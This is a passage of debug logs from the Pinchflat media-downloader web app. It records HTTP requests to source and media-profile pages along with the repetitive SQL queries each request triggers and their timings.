LIMIT 1 [] 21:43:12.053 [debug] QUERY OK source="settings" db=0.1ms idle=125.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.054 [debug] QUERY OK source="settings" db=0.0ms idle=125.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.056 [info] Sent 200 in 4ms 21:43:12.113 [info] GET /sources/2/edit 21:43:12.113 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:43:12.113 [info] GET /sources/7/ 21:43:12.114 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 21:43:12.115 [debug] QUERY OK source="sources" db=0.9ms queue=0.4ms idle=61.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:12.116 [debug] QUERY OK source="sources" db=0.6ms idle=61.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.117 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.1ms idle=62.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:12.119 [debug] QUERY OK source="media_profiles" db=2.6ms queue=0.1ms idle=62.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:43:12.120 [info] GET /sources/7/ 21:43:12.121 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 21:43:12.121 [debug] QUERY OK source="tasks" db=1.6ms queue=0.6ms idle=64.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [7, "executing", "available", "scheduled", "retryable"] 21:43:12.121 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.122 [debug] QUERY OK source="oban_jobs" db=0.7ms queue=0.1ms idle=5.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2351] 21:43:12.122 [debug] QUERY OK source="sources" db=0.6ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.122 [debug] QUERY OK source="settings" db=0.7ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.123 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.123 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:12.124 [debug] QUERY OK source="settings" db=0.6ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.124 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.124 [debug] QUERY OK source="tasks" db=0.9ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [7, "executing", "available", "scheduled", "retryable"] 21:43:12.125 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.125 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=1.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2351] 21:43:12.126 [debug] QUERY OK source="sources" db=0.7ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.127 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.128 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.128 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.129 [debug] QUERY OK source="media_items" db=2.2ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 21:43:12.130 [info] Sent 200 in 17ms 21:43:12.130 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.131 [debug] QUERY OK source="media_items" db=2.0ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:12.133 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 21:43:12.133 [debug] QUERY OK source="sources" db=0.5ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.134 [debug] QUERY OK source="media_items" db=0.7ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 21:43:12.135 [debug] QUERY OK source="media_items" db=2.2ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:12.135 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:12.137 [debug] QUERY OK source="sources" db=0.5ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.137 [debug] QUERY OK source="sources" db=0.8ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.138 [debug] QUERY OK source="media_items" db=0.9ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 21:43:12.138 [info] GET /sources/7/edit 21:43:12.139 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 21:43:12.139 [debug] QUERY OK source="media_items" db=1.5ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [7] 21:43:12.141 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.142 [debug] QUERY OK source="media_items" db=2.9ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:12.143 [debug] QUERY OK source="media_items" db=4.8ms queue=0.1ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:12.145 [debug] QUERY OK source="media_profiles" db=2.7ms queue=0.5ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:43:12.145 [info] Sent 200 in 32ms 21:43:12.146 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.147 [debug] QUERY OK source="settings" db=0.4ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.147 [debug] QUERY OK source="sources" db=0.7ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.148 [debug] QUERY OK source="settings" db=0.8ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.148 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [7] 21:43:12.151 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 21:43:12.151 [info] Sent 200 in 12ms 21:43:12.152 [info] Sent 200 in 31ms 21:43:12.172 [info] GET /download_logs 21:43:12.173 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 21:43:12.175 [info] Sent 200 in 2ms 21:43:12.290 [info] GET /media_profiles/1/edit 21:43:12.290 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => 